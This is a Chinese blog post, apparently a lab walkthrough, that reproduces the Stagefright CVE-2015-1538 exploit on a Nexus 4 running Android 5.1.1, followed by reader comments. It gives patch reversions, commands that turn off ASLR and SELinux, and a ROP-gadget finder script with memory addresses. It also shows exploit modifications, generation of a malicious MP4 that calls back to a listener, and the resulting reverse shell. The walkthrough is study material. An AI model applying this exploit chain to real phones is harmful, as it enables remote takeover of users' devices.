由于Android系统中,mediaserver可能存在很多的漏洞,会自动执行黑客代码,所以在Android N系统中,google把mediaserver拆分成了好多模块,各模块运行在不同的进程中,以解决之前mediaserver进程同时拥有太多权限,黑客可能只需要发送一条彩信,就可以控制你的手机。那么他是怎么做到的呢。目前网上有两篇文章描述如何通过mediaserver漏洞植入黑客代码:
-https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/
-http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html
这里,我们主要是学习如何第一篇文章的攻击方法。相关的源代码可以从https://github.com/jduck/cve-2015-1538-1上下载。
先看一下https://github.com/jduck/cve-2015-1538-1/blob/master/README
This exploit has several caveats. First, it is not a generic exploit. It's only been tested to work on a single device model. My target was the Galaxy Nexus device running Android 4.0.4 containing only a partial implementation of ASLR. Also, due to variances in heap layout, this is not a 100% reliable exploit by itself. However, I was able achieve 100% reliability when delivered through an attack vector that allowed multiple attempts. Finally, this vulnerability was one of several that was neutered by GCC 5.0’s ‘new[]’ integer overflow mitigation present on Android 5.0 and later.
可以看到作者是在运行着Android 4.0.4的Galaxy Nexus设备上进行的。同时由于我们是在Android 5.1.1_r19系统上进行的,要特别注意一下C++的new操作。
- Android系统代码下载
$ repo init -u https://android.googlesource.com/platform/manifest -b android-5.1.1_r19
同于我们还需要这个版本对应的binaries文件,android-5.1.1_r19对应的build ID 为LMY48T,所以需要从这里下载Nexus 4所需的binaries文件:
https://developers.google.com/android/nexus/drivers#makolmy48t
- 回退相关的patch文件
根据http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-1538 -> https://groups.google.com/forum/message/raw?msg=android-security-updates/Ugvu3fi6RQM/yzJvoTVrIQAJ 提示,回退这两个patch:
1. https://android.googlesource.com/platform/frameworks/av/+/cf1581c66c2ad8c5b1aaca2e43e350cf5974f46d
2. https://android.googlesource.com/platform/frameworks/av/+/2434839bbd168469f80dd9a22f1328bc81046398
由于回退这两个版本会有冲突,请参考下面的改动:
commit ed7fecea354c87c5748913a80a959c029f5cfee2 Author: hzak <brobwind@126.com> Date: Fri Jun 10 20:55:27 2016 +0800 Revert "Fix integer overflow during MP4 atom processing" This reverts commit 2434839bbd168469f80dd9a22f1328bc81046398. diff --git a/media/libstagefright/SampleTable.cpp b/media/libstagefright/SampleTable.cpp index a3e7d53..d8e365a 100644 --- a/media/libstagefright/SampleTable.cpp +++ b/media/libstagefright/SampleTable.cpp @@ -235,9 +235,6 @@ status_t SampleTable::setSampleToChunkParams( return ERROR_MALFORMED; } - if (SIZE_MAX / sizeof(SampleToChunkEntry) <= mNumSampleToChunkOffsets) - return ERROR_OUT_OF_RANGE; - mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets]; commit 79f3cb74b5b74ae3f6a7c1e7c53ebdb457b4094d Author: hzak <brobwind@126.com> Date: Fri Jun 10 20:54:47 2016 +0800 Revert "Fix several ineffective integer overflow checks" This reverts commit cf1581c66c2ad8c5b1aaca2e43e350cf5974f46d. Conflicts: media/libstagefright/SampleTable.cpp diff --git a/media/libstagefright/SampleTable.cpp b/media/libstagefright/SampleTable.cpp index d7251f4..a3e7d53 100644 --- a/media/libstagefright/SampleTable.cpp +++ b/media/libstagefright/SampleTable.cpp @@ -341,7 +341,7 @@ status_t SampleTable::setTimeToSampleParams( } mTimeToSampleCount = U32_AT(&header[4]); - uint64_t allocSize = (uint64_t)mTimeToSampleCount * 2 * sizeof(uint32_t); + uint64_t allocSize = mTimeToSampleCount * 2 * sizeof(uint32_t); if (allocSize > SIZE_MAX) { return ERROR_OUT_OF_RANGE; } @@ -387,7 +387,7 @@ status_t SampleTable::setCompositionTimeToSampleParams( } mNumCompositionTimeDeltaEntries = numEntries; - uint64_t allocSize = (uint64_t)numEntries * 2 * sizeof(uint32_t); + uint64_t allocSize = numEntries * 2 * sizeof(uint32_t); if (allocSize > SIZE_MAX) { return ERROR_OUT_OF_RANGE; } @@ -437,7 +437,7 @@ status_t SampleTable::setSyncSampleParams(off64_t data_offset, size_t data_size) ALOGV("Table of sync samples is empty or has only a single entry!"); } - uint64_t allocSize = mNumSyncSamples * (uint64_t)sizeof(uint32_t); + uint64_t allocSize = mNumSyncSamples * sizeof(uint32_t); if (allocSize > SIZE_MAX) { return ERROR_OUT_OF_RANGE; }
编译整个Android项目
$ . build/envsetup.sh $ lunch aosp_mako-userdebug
- 更新系统固件
$ adb reboot-bootloader $ fastboot flashall
- 暂时关闭kernel Address space layout randomization(ASLR)
为了方便复现问题,暂时关闭ASLR
$ adb shell 'echo 0 > /proc/sys/kernel/randomize_va_space'
NOTE: 理论上来说,可以在kernel parameter中加入norandmaps参数来实再,但貌似在Nexus4上不起作用。
- 关闭selinux(将其设为permissive):
执行https://github.com/jduck/cve-2015-1538-1/blob/master/Stagefright_CVE-2015-1538-1_Exploit.py中的shell code需要特殊的selinux权限。
$ adb shell setenforce 0
06-13 17:19:14.564 2954 2954 W generic : type=1400 audit(0.0:5): avc: denied { execute } for name="sh" dev="mmcblk0p21" ino=285 scontext=u:r:mediaserver:s0 tcontext=u:object_r:shell_exec:s0 tclass=file 06-13 17:19:14.574 2954 2954 W generic : type=1400 audit(0.0:6): avc: denied { read open } for name="sh" dev="mmcblk0p21" ino=285 scontext=u:r:mediaserver:s0 tcontext=u:object_r:shell_exec:s0 tclass=file 06-13 17:19:14.574 2954 2954 W generic : type=1400 audit(0.0:7): avc: denied { execute_no_trans } for path="/system/bin/sh" dev="mmcblk0p21" ino=285 scontext=u:r:mediaserver:s0 tcontext=u:object_r:shell_exec:s0 tclass=file 06-13 17:19:25.636 2959 2959 W sh : type=1400 audit(0.0:8): avc: denied { execute_no_trans } for path="/system/bin/toolbox" dev="mmcblk0p21" ino=298 scontext=u:r:mediaserver:s0 tcontext=u:object_r:system_file:s0 tclass=file 06-13 17:19:28.138 2960 2960 W ls : type=1400 audit(0.0:9): avc: denied { getattr } for path="/persist" dev="mmcblk0p20" ino=2 scontext=u:r:mediaserver:s0 tcontext=u:object_r:persist_file:s0 tclass=dir
即:
hzak@B85RPI:/data/mako-5.1.1_r19$ cat mydebug.log | audit2allow -p out/target/product/mako/root/sepolicy #============= mediaserver ============== allow mediaserver persist_file:dir getattr; allow mediaserver shell_exec:file { read execute open execute_no_trans }; allow mediaserver system_file:file execute_no_trans;
- 设置相关的系统属性
设置系统属性debug.db.uid需要root权限,使adbd进程具备root权限:
$ adb root $ adb shell setprop debug.db.uid 1000000
NOTE: debug.db.uid系统属性可根据需要进行设置。
- 下载exploit代码:
$ git clone https://github.com/jduck/cve-2015-1538-1 $ cd cve-2015-1538-1 && ln -sv Stagefright_CVE-2015-1538-1_Exploit.py mp4.py
从https://bugs.chromium.org/p/project-zero/issues/detail?id=502&redir=1 下载mp4_stagefright_release.py, 从中提取相关代码,用于从elf文件中提取所需的god gadget(为什么这么叫它?):find_god_gadget.py
#!/usr/bin/python2 import os import pwnlib.asm as asm import pwnlib.elf as elf import sys import struct # ROP gadget addresses pop_pc = None pop_r0_r1_r2_r3_r4_pc = None def find_arm_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='arm') gadget_address = None for address in e.search(gadget_bytes): if address % 4 == 0: gadget_address = address if gadget_bytes == e.read(gadget_address, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm') break return gadget_address def find_thumb_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='thumb') gadget_address = None for address in e.search(gadget_bytes): if address % 2 == 0: gadget_address = address + 1 if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb') break return gadget_address def find_gadget(e, gadget): gadget_address = find_thumb_gadget(e, gadget) if gadget_address is not None: return gadget_address return find_arm_gadget(e, gadget) def find_rop_gadgets(base, path): global pop_pc global pop_r0_r1_r2_r3_r4_pc e = elf.ELF(path) e.address = base pop_pc_asm = 'pop {pc}' pop_pc = find_gadget(e, pop_pc_asm) print '[*] pop_pc : 0x{:08x}'.format(pop_pc) pop_r0_r1_r2_r3_r4_pc = find_gadget(e, 'pop {r0, r1, r2, r3, r4, pc}') if pop_r0_r1_r2_r3_r4_pc is not None: print '[*] pop_r0_r1_r2_r3_r4_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_r4_pc) return if __name__ == '__main__': import argparse def addr(sval): if sval.startswith('0x'): return int(sval, 16) return int(sval) # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument('-b', '--base', dest='base', type=addr, default=0x00000000) parser.add_argument('-e', '--elf', dest='elf', default='libc.so') args = parser.parse_args() # if len(sys.argv) == 1: # parser.print_help() # sys.exit(-1) find_rop_gadgets(args.base, args.elf)
NOTE:
执行这个脚本你需要安装https://github.com/Gallopsled/pwntools
由于需要binutils, 所以需要在建立编译android项目环境后再执行这个脚本。
- 创建cve-2015-1538-1.mp4文件
在创建这个文件之前,我们需要知道:
-__dl_restore_core_regs, __dl_mprotect这两个符号在mediaserver进程中的地址,可以通过gdbclient命令查看:
hzak@B85RPI:/data/mako-5.1.1_r19$ gdbclient /system/bin/mediaserver 5039 Starting gdbserver... . adb forward for port=5039... . starting gdbserver to attach to pid=2058... [1] 6109 . give it couple of seconds to start... Attached; pid = 2058 Listening on port 5039 . done GNU gdb (GDB) 7.6 Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android". For bug reporting instructions, please see: <http://source.android.com/source/report-bugs.html>... Reading symbols from /data/mako-5.1.1_r19/out/target/product/mako/symbols/system/bin/mediaserver...done. Remote debugging from host 127.0.0.1 warning: Could not load shared library symbols for 12 libraries, e.g. libdiag.so. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot"? __ioctl () at bionic/libc/arch-arm/syscalls/__ioctl.S:8 8 swi #0 (gdb) x/2i __dl_restore_core_regs 0xb6ff7854 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 0xb6ff7858 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} (gdb) x/2i __dl_mprotect 0xb6ff65c0 <__dl_mprotect>: mov r12, r7 0xb6ff65c4 <__dl_mprotect+4>: mov r7, #125 ; 0x7d
-pop {pc}与pop {r0, r1, r2, r3, r4, pc}这两个god gadget在mediaserver进程中所在的地址
mediaserver进行有哪些elf/so文件,可通过如下命令查看:
$ adb shell cat /proc/`adb shell ps | grep mediaserver | awk '{ print $2 }'`/maps | awk '{ print $6 }' | sort -u
我们可以先通过之前的find_god_gadget.py脚本查找哪个elf/so有这两个god gadget,可通过如下命令:
hzak@B85RPI:~/cve-2015-1538-1$ ./find_rop_gadget.py -e /data/mako-5.1.1_r19/out/target/product/mako/system/lib/libstagefright.so 44f50: bd00 pop {pc} [*] pop_pc : 0x00044f51 b3560: bd1f pop {r0, r1, r2, r3, r4, pc} [*] pop_r0_r1_r2_r3_r4_pc : 0x000b3561
这里我们可以知道libstagefright.so包含有这两个god gadget。
我们再查看一下libstagefright.so可执行代码在内存中的位置:
hzak@B85RPI:/data/mako-5.1.1_r19$ adb shell cat /proc/`adb shell ps | grep mediaserver | awk '{ print $2 }'`/maps | grep libstagefright.so b668a000-b679f000 r-xp 00000000 b3:15 1056 /system/lib/libstagefright.so b67a0000-b67a9000 r--p 00115000 b3:15 1056 /system/lib/libstagefright.so b67a9000-b67aa000 rw-p 0011e000 b3:15 1056 /system/lib/libstagefright.so
可以看到可执行代码位于0xb668a000 ~ 0xb67a0000上。这时,我们再通过find_rop_gadget.py脚本确定这两个gadget在mediaserver进程中的位置:
hzak@B85RPI:~/cve-2015-1538-1$ ./find_rop_gadget.py -e /data/mako-5.1.1_r19/out/target/product/mako/system/lib/libstagefright.so -b 0xb668a000 b66cef50: bd00 pop {pc} [*] pop_pc : 0xb66cef51 b673d560: bd1f pop {r0, r1, r2, r3, r4, pc} [*] pop_r0_r1_r2_r3_r4_pc : 0xb673d561
这时,我们就可以得到这两个gadget分别在0xb66cef51与0xb673d561。
-我们还需要知道Stagefright_CVE-2015-1538-1_Exploit.py中提到的spray address(sp_addr)的大致位置
这个地址其实是frameworks/av/media/libstagefright/MPEG4Extractor.cpp中mDataSource所在的位置,因为mDataSource在堆中,所在的内存地址不是固定的,但是它总会落在一定的范围内。
这里还是需要说一下我的理解(原理):
首先看一下切入点的代码:frameworks/av/media/libstagefright/SampleTable.cpp
status_t SampleTable::setSampleToChunkParams( off64_t data_offset, size_t data_size) { if (mSampleToChunkOffset >= 0) { return ERROR_MALFORMED; } mSampleToChunkOffset = data_offset; if (data_size < 8) { return ERROR_MALFORMED; } uint8_t header[8]; if (mDataSource->readAt( data_offset, header, sizeof(header)) < (ssize_t)sizeof(header)) { return ERROR_IO; } if (U32_AT(header) != 0) { // Expected version = 0, flags = 0. return ERROR_MALFORMED; } mNumSampleToChunkOffsets = U32_AT(&header[4]); if (data_size < 8 + mNumSampleToChunkOffsets * 12) { return ERROR_MALFORMED; } mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets]; for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) { uint8_t buffer[12]; if (mDataSource->readAt( mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer)) != (ssize_t)sizeof(buffer)) { return ERROR_IO; } CHECK(U32_AT(buffer) >= 1); // chunk index is 1 based in the spec. // We want the chunk index to be 0-based. mSampleToChunkEntries[i].startChunk = U32_AT(buffer) - 1; mSampleToChunkEntries[i].samplesPerChunk = U32_AT(&buffer[4]); mSampleToChunkEntries[i].chunkDesc = U32_AT(&buffer[8]); } return OK; }
由Stagefright_CVE-2015-1538-1_Exploit.py可以看到mNumSampleToChunkOffsets为0xc0000003,而sizeof(SampleToChunkEntry)为12, 所以sizeof(SampleToChunkEntry[mNumSampleToChunkOffsets])为0x900000024。android-5.1.1_r19的new操作能够正常处理:
06-13 16:41:24.878 1772 1772 E MPEG4Extractor: chunk: stsc @ 2020289, 5 --------- beginning of crash 06-13 16:41:24.878 1772 1772 F libc : new[] failed to allocate 4294967295 bytes 06-13 16:41:24.879 1772 1772 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 1772 (mediaserver) 06-13 16:41:24.993 185 185 I DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 06-13 16:41:24.993 560 678 W NativeCrashListener: Couldn't find ProcessRecord for pid 1772 06-13 16:41:24.993 185 185 I DEBUG : Build fingerprint: 'Android/aosp_mako/mako:5.1.1/LMY48T/hzak06040007:userdebug/test-keys' 06-13 16:41:24.994 185 185 E DEBUG : AM write failure (32 / Broken pipe) 06-13 16:41:24.994 185 185 I DEBUG : Revision: '11' 06-13 16:41:24.994 185 185 I DEBUG : ABI: 'arm' 06-13 16:41:24.994 185 185 I DEBUG : pid: 1772, tid: 1772, name: mediaserver >>> /system/bin/mediaserver <<< 06-13 16:41:24.995 185 185 I DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 06-13 16:41:25.034 185 185 I DEBUG : r0 00000000 r1 000006ec r2 00000006 r3 00000000 06-13 16:41:25.034 185 185 I DEBUG : r4 b6ffee38 r5 00000006 r6 0000000c r7 0000010c 06-13 16:41:25.034 185 185 I DEBUG : r8 0000000c r9 beffeb34 sl b6f5fdd4 fp b67a640c 06-13 16:41:25.034 185 185 I DEBUG : ip 000006ec sp beffeaa8 lr b6f1b989 pc b6f41fc4 cpsr 60010010 06-13 16:41:25.035 185 185 I DEBUG : 06-13 16:41:25.035 185 185 I DEBUG : backtrace: 06-13 16:41:25.035 185 185 I DEBUG : #00 pc 0003cfc4 /system/lib/libc.so (tgkill+12) 06-13 16:41:25.035 185 185 I DEBUG : #01 pc 00016985 /system/lib/libc.so (pthread_kill+52) 06-13 16:41:25.035 185 185 I DEBUG : #02 pc 00017597 /system/lib/libc.so (raise+10) 06-13 16:41:25.035 185 185 I DEBUG : #03 pc 00013d3d /system/lib/libc.so (__libc_android_abort+36) 06-13 16:41:25.035 185 185 I DEBUG : #04 pc 000124ec /system/lib/libc.so (abort+4) 06-13 16:41:25.035 185 185 I DEBUG : #05 pc 0000146d /system/lib/libstdc++.so 06-13 16:41:25.035 185 185 I DEBUG : #06 pc 00000c69 /system/lib/libstdc++.so (operator new[](unsigned int)+16) 06-13 16:41:25.035 185 185 I DEBUG : #07 pc 00097d1d /system/lib/libstagefright.so (android::SampleTable::setSampleToChunkParams(long long, unsigned int)+128) 06-13 16:41:25.035 185 185 I DEBUG : #08 pc 00078f63 /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+1738) 06-13 16:41:25.035 185 185 I DEBUG : #09 pc 00078d3b /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+1186) 06-13 16:41:25.035 185 185 I DEBUG : #10 pc 00078d3b /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+1186)
为了复现这个问题,上面的代码修改如下:
mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff];
这样mSampleToChunkEntries分配到的堆栈大小为0x00000024,在执行下面的for (…)时,就会出现堆栈溢出。在有些时候,mSampleToChunkEntries的地址要低于mDataSource的地址要小,所以就会出现mDataSource被改写的情况,所以mDataSource->readAt()的调用就会改变。实际上是去调用__dl_restore_core_regs:
06-13 16:56:14.178 2450 2523 E MPEG4Extractor: No width or height, assuming worst case 1080p 06-13 16:56:14.178 2450 2523 E MPEG4Extractor: chunk: stts @ 688, 3 06-13 16:56:14.178 2450 2523 E MPEG4Extractor: chunk: tx3g @ 704, 1 06-13 16:56:14.252 2450 2523 E MPEG4Extractor: tx3g: 0xb4c7f008 - 0xb4e6b010, size: 2015240(0x1ec008) 06-13 16:56:14.252 2450 2523 E hexdump : 00000000: 00 1e c0 08 74 78 33 67 20 40 e4 b4 18 40 e4 b4 ....tx3g @...@.. 06-13 16:56:14.252 2450 2523 E hexdump : 00000010: 01 00 00 00 ad db de c0 28 40 e4 b4 10 00 00 00 ........(@...... 06-13 16:56:14.252 2450 2523 E hexdump : 00000020: 30 40 e4 b4 be ba 0d f0 00 00 de c0 04 00 de c0 0@.............. 06-13 16:56:14.252 2450 2523 E hexdump : 00000030: 08 00 de c0 54 78 ff b6 30 00 f0 f0 50 40 e4 b4 ....Tx..0...P@.. ... 06-13 16:56:14.287 2450 2523 E MPEG4Extractor: chunk: dref @ 2020253, 5 06-13 16:56:14.287 2450 2523 E MPEG4Extractor: chunk: stbl @ 2020281, 4 06-13 16:56:14.287 2450 2523 E MPEG4Extractor: sampleTable chunk is 4620 bytes long. 06-13 16:56:14.287 2450 2523 E MPEG4Extractor: sampleTable @0x2a057090, mDataSource @0x2a04d3f0 06-13 16:56:14.287 2450 2523 E MPEG4Extractor: chunk: stsc @ 2020289, 5
-修改Stagefright_CVE-2015-1538-1_Exploit.py文件
hzak@B85RPI:~/cve-2015-1538-1$ git diff diff --git a/Stagefright_CVE-2015-1538-1_Exploit.py b/Stagefright_CVE-2015-1538-1_Exploit.py index 50f6121..cf316bf 100755 --- a/Stagefright_CVE-2015-1538-1_Exploit.py +++ b/Stagefright_CVE-2015-1538-1_Exploit.py @@ -125,15 +125,16 @@ b000115c: ea0015cc b b0006894 <__dl_raise+0x10> def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): rop = '' rop += struct.pack('<L', sp_addr + off + 0x10) # new sp - rop += struct.pack('<L', 0xb0002a98) # new lr - pop {pc} - rop += struct.pack('<L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} + rop += struct.pack('<L', 0xb66cef51) # new lr - pop {pc} + rop += struct.pack('<L', 0xb673d561) # new pc: pop {r0, r1, r2, r3, r4, pc} rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned) rop += struct.pack('<L', 0x1000) # new r1 - length rop += struct.pack('<L', 7) # new r2 - protection rop += struct.pack('<L', 0xd000d003) # new r3 - scratch rop += struct.pack('<L', 0xd000d004) # new r4 - scratch - rop += struct.pack('<L', 0xb0001144) # new pc - _dl_mprotect +# rop += struct.pack('<L', 0xb0001144) # new pc - _dl_mprotect + rop += struct.pack('<L', 0xb6ff65c0) # new pc - _dl_mprotect native_start = sp_addr + 0x80 rop += struct.pack('<L', native_start) # address of native payload
-生成cve-2015-1538-1.mp4文件:
hzak@B85RPI:~/cve-2015-1538-1$ ./Stagefright_CVE-2015-1538-1_Exploit.py -c 192.168.5.162 -p 33487 -s 0xb4e44010 -r 0xb6ff7854 [*] Saving crafted MP4 to cve-2015-1538-1.mp4 ...
-打开终端等待连接
hzak@B85RPI:/data/mako-5.1.1_r19$ nc -l 33487 -v Listening on [0.0.0.0] (family 0, port 33487) Connection from [192.168.5.141] port 33487 [tcp/*] accepted (family 2, sport 36147) hzak@B85RPI:/data/mako-5.1.1_r19$ nc -l 33487 -v Listening on [0.0.0.0] (family 0, port 33487) Connection from [192.168.5.141] port 33487 [tcp/*] accepted (family 2, sport 40280) id uid=1013(media) gid=1005(audio) groups=1006(camera),1026(drmrpc),1031(mediadrm),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct) context=u:r:mediaserver:s0 ls -l __bionic_open_tzdata_path: ANDROID_ROOT not set! __bionic_open_tzdata_path: ANDROID_ROOT not set! __bionic_open_tzdata_path: ANDROID_ROOT not set! drwxr-xr-x root root 2016-06-13 08:28 acct drwxrwx--- system cache 2016-03-08 03:52 cache lrwxrwxrwx root root 1970-01-01 00:00 charger -> /sbin/healthd dr-x------ root root 2016-06-13 08:28 config lrwxrwxrwx root root 2016-06-13 08:28 d -> /sys/kernel/debug ...
NOTE:
连接成功之后可以通过id命令查看当前的用户、组信息
-从PC下载cve-2015-1538-1.mp4文件
在PC端建一个简单的http服务器,再通过手机的浏览器下载。
- 调试
mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff]; 97d14: fb08 f000 mul.w r0, r8, r0 97d18: f7b8 eece blx 50ab8 <_Znaj@plt> 97d1c: 67b0 str r0, [r6, #120] ; 0x78 for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) { 97d1e: 6ab7 ldr r7, [r6, #40] ; 0x28 97d20: 42bd cmp r5, r7 97d22: d230 bcs.n 97d86 <_ZN7android11SampleTable22setSampleToChunkParamsExj+0xea> 97d24: 68b0 ldr r0, [r6, #8] 97d26: fb08 f705 mul.w r7, r8, r5 uint8_t buffer[12]; if (mDataSource->readAt( mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer)) 97d2a: e9d6 2308 ldrd r2, r3, [r6, #32] 97d2e: 6801 ldr r1, [r0, #0] 97d30: e9cd 4800 strd r4, r8, [sp] 97d34: f112 0b08 adds.w fp, r2, #8 97d38: f143 0c00 adc.w ip, r3, #0 97d3c: eb1b 0207 adds.w r2, fp, r7 97d40: f14c 0300 adc.w r3, ip, #0 97d44: 69c9 ldr r1, [r1, #28] 97d46: 4788 blx r1 mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff]; for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) { uint8_t buffer[12]; if (mDataSource->readAt( 97d48: 280c cmp r0, #12 97d4a: d11e bne.n 97d8a <_ZN7android11SampleTable22setSampleToChunkParamsExj+0xee> mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer)) != (ssize_t)sizeof(buffer)) { return ERROR_IO; }
在执行mDataSource->readAt()时,会去执行__dl_restore_core_regs:
附frameworks/av/相关改动
diff --git a/media/libstagefright/MPEG4Extractor.cpp b/media/libstagefright/MPEG4Extractor.cpp index 6aa9e50..3ea1ab7 100644 --- a/media/libstagefright/MPEG4Extractor.cpp +++ b/media/libstagefright/MPEG4Extractor.cpp @@ -34,6 +34,7 @@ #include <media/stagefright/foundation/ADebug.h> #include <media/stagefright/foundation/AMessage.h> #include <media/stagefright/foundation/AUtils.h> +#include <media/stagefright/foundation/hexdump.h> #include <media/stagefright/MediaBuffer.h> #include <media/stagefright/MediaBufferGroup.h> #include <media/stagefright/MediaDefs.h> @@ -808,7 +809,7 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) { char chunk[5]; MakeFourCCString(chunk_type, chunk); - ALOGV("chunk: %s @ %lld, %d", chunk, *offset, depth); + ALOGE("chunk: %s @ %lld, %d", chunk, *offset, depth); #if 0 static const char kWhitespace[] = " "; @@ -869,7 +870,7 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) { case FOURCC('e', 'd', 't', 's'): { if (chunk_type == FOURCC('s', 't', 'b', 'l')) { - ALOGV("sampleTable chunk is %" PRIu64 " bytes long.", chunk_size); + ALOGE("sampleTable chunk is %" PRIu64 " bytes long.", chunk_size); if (mDataSource->flags() & (DataSource::kWantsPrefetching @@ -883,6 +884,7 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) { } mLastTrack->sampleTable = new SampleTable(mDataSource); + ALOGE("sampleTable @%p, mDataSource @%p", mLastTrack->sampleTable.get(), mDataSource.get()); } bool isTrack = false; @@ -1937,6 +1939,12 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) { delete[] buffer; + if (mLastTrack->meta->findData( + kKeyTextFormatData, &type, &data, &size)) { + ALOGE("tx3g: %p - %p, size: %u(0x%x)", data, (unsigned char *)data + size, size, size); + hexdump(data, size > 64 ? 64 : size, 0); + } + *offset += chunk_size; break; } diff --git a/media/libstagefright/SampleTable.cpp b/media/libstagefright/SampleTable.cpp index d8e365a..40eff34 100644 --- a/media/libstagefright/SampleTable.cpp +++ b/media/libstagefright/SampleTable.cpp @@ -236,7 +236,7 @@ status_t SampleTable::setSampleToChunkParams( } mSampleToChunkEntries = - new SampleToChunkEntry[mNumSampleToChunkOffsets]; + new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff]; for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) { uint8_t buffer[12]; diff --git a/media/libstagefright/foundation/hexdump.cpp b/media/libstagefright/foundation/hexdump.cpp index a44d832..b97c462 100644 --- a/media/libstagefright/foundation/hexdump.cpp +++ b/media/libstagefright/foundation/hexdump.cpp @@ -83,7 +83,7 @@ void hexdump(const void *_data, size_t size, size_t indent, AString *appendTo) { appendTo->append(line); appendTo->append("\n"); } else { - ALOGI("%s", line.c_str()); + ALOGE("%s", line.c_str()); } offset += 16;
- Project Zero – Stagefrightened
这篇文档不太好打开,请看这里保存的PDF文档:Project Zero_ Stagefrightened_.pdf
- 相关的参考文档:
- http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization
- https://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/
- http://huntcve.github.io/2015/12/16/debug-stagefright-exploit/
- http://drops.wooyun.org/papers/10896
- http://googleprojectzero.blogspot.de/2015/09/stagefrightened.html
aosp源码不含驱动,lunch userdebug ,编译后,再fastboot不是会因为没有usb驱动连不上吗
linux & mac os 是不需要usb驱动的,windows系统中usb驱动的代码也是包含在aosp源码中的。
在linux(ubuntu)系统中,如果使用fastboot找不到设备,可能是:
-设备不是在fastboot(bootloader)模式
-设备没有在fastboot列表中,需要通过-i <vendor id>参数指定
-没有权限,可通过http://source.android.com/source/initializing.html 中的Configuring USB Access方法解决
1
博主,您好,python2.7使用您的find_rop_gadget.py脚本运行报错,请问博主使用的也是python2.7环境么?
是的,需要使用python2.7环境,同时:
你需要安装 https://github.com/Gallopsled/pwntools 还有arm 工具链arm-linux-androideabi-
相关的工具链可以从 https://android.googlesource.com/ 下载
非常感谢!
博主你好,我是夏普手机的用户。夏普从15年开始锁bl,并对内核进行了限制导致root不能写入系统,听国外的大神说可以通过Stagefright CVE-2015-1538-1这个漏洞进行root的尝试。请问道理何在?如果可行请问如何操作进行root?
Stagefright CVE-2015-1538-1这个漏洞也仅仅只是让我们获取到了media相关的权限,要获取别的权限或者root权限,可以需要其他的漏洞吧,对于原生系统来说,可获取到的权限(用户及用户组)只有这些:
uid=1013(media) gid=1005(audio) groups=1006(camera),1026(drmrpc),1031(mediadrm),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct) context=u:r:mediaserver:s0
谢谢!有很大帮助了!
非常感谢!
不用谢^_^
Hi hzak. I hope you’re doing well with this covid situation.
Could you explain me, how to roll back the two files that you mentioned ?
i’m trying to reproduce your steps, but i got stuck in this part. Thank you very much !
Hi hzak i solve the problem with the rollback, but in the end i got several problems with compability… There is, by any chance, an way to do this with Android-Studio and sdk tools running in Win 10 ? I would apreciate very much you help in this situation. This is for a article that i’m currently writing for my graduation. Thank you very much.
1